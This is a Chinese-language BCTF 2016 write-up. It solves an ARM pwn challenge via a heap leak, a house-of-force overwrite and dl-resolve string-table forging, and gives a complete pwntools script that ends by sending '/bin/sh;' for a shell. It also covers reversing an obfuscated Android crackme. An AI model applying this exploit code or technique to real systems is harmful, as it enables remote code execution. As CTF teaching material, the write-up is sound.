Bctf-pwn_ruin-re_lastflower
2016-03-23 11:11
330 查看
Pwn-ruin
用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolveInfo leak:
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111021120-688053059.png)
在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111021683-2014458916.png)
增大top chunk的大小
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111021979-1941492275.png)
可以保证下一次malloc时,申请到任意地址内存
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111022323-936287887.png)
申请内存,覆盖secret, name, key16
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111022636-110799957.png)
使得内存结构为:
Addr data
00010FB4(addr of secret) pointer to name(00010fb8)
00010fb8(addr of name)
00010fbc(addr of key16)
这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111022901-1205541025.png)
利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111023370-2069761042.png)
from pwn import * import time #by wah #context.log_level = 'debug' #s = remote('127.0.0.1', 10001) s = remote('166.111.132.49', 9999) ''' time.sleep(1) print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0] ''' raw_input('go!') s.recvuntil('please input your 8-bit key:') s.send('11111111') heap = s.recvuntil(' ')[8:-1] heapaddr = u32(heap.ljust(4,'\x00')) topaddr = heapaddr + 0x8 print 'heap addr is ' + str(heapaddr) print 'top chunk addr is ' + str(topaddr) s.recvuntil('please input your 8-bit key:') s.send('security') s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') s.sendline('a'*8 + p32(0) + '\xff\xff\xff\xff') s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') s.sendline('') namelen = 0x10fa8 + 0x100000000 - 8 - topaddr namelen = 0xffffffff^namelen+1 s.recvuntil('Give me your choice(1-4):') s.sendline('3') s.recvuntil('please input your name length:') s.sendline('-' + str(namelen)) s.recvuntil('enter your name:') #s.sendline('namename') s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') #s.send(p32(0x00008594)*4) s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2) s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x200 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('\x00libc.so.6\x00exit\x00') s.send('\x00libc.so.6\x00exit\x00') s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x210 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('strncmp\x00puts\x00__s') s.send('strncmp\x00puts\x00__s') s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x220 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('tack_chk_fail\x00ab') s.send('tack_chk_fail\x00ab')#ort\x00 s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x230 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('ort\x00stdin\x00printf') s.send('ort\x00stdin\x00printf')# s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x240 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('\x00fgets\x00stdout\x00ma') s.send('\x00fgets\x00stdout\x00ma')# s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x250 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('lloc\x00fread\x00syste') s.send('lloc\x00fread\x00syste')# s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') strtabaddr = heapaddr + 0x260 s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len('m\x00setbuf\x00__libc_') s.send('m\x00setbuf\x00__libc_') s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') dynamic = 0x10ea0+4 s.sendline(2*p32(dynamic)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a)) s.recvuntil('Give me your choice(1-4):') s.sendline('2') s.recvuntil('please input your secret:') atoigot = 0x00010F80 s.sendline(2*p32(atoigot)) s.recvuntil('Give me your choice(1-4):') s.sendline('1') s.recvuntil('enter the new 16-bit key:') print len(4*p32(0x8574)) s.send(4*p32(0x8574)) s.recvuntil('Give me your choice(1-4):') s.sendline('/bin/sh;') s.interactive()
Lostflower
Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111023808-1252486381.png)
猜测让v13等于就可以,就是猜的!
进入check1,在my_pow()处下断点,进行观察函数功能。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111024339-1285997685.png)
在sub_1aa4处下断点,观察函数功能。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111024729-1497023419.png)
猜测让v11<0就可以,就是猜的!
调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。
好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。
![](http://images2015.cnblogs.com/blog/382300/201603/382300-20160323111025276-156684786.png)
相关文章推荐
- win8 &win10系统下Guest 帐号本地主机登录
- skcatSgnisueueuQtnemelpmI.232
- iOS开发——UIImageView
- UITableView分割线从边框顶端开始
- Android Activity.runOnUiThread() 和 Handler
- 【学渣笔记】Xitrum Scala Web Framework Guide
- iOS UITableCell复用
- UIImageView的ContentMode属性
- Process 'command '**/ndk-build.cmd'' finished with non-zero exit value 1
- UIView的layoutSubviews和drawRect
- (转)Storm UI 解释
- marquee标签弹幕效果
- iOS-添加UINavigation
- dispatchTouchEvent
- QtQuick项目部署
- Java中Integer的valueOf方法,-128到127的整数将被缓存
- 使用fuel部署openstack时遇到的问题记录一下
- Java序列化之transient和serialVersionUID的使用
- UI元素状态伪类选择器
- 转 String,StringBuffer与StringBuilder的区别??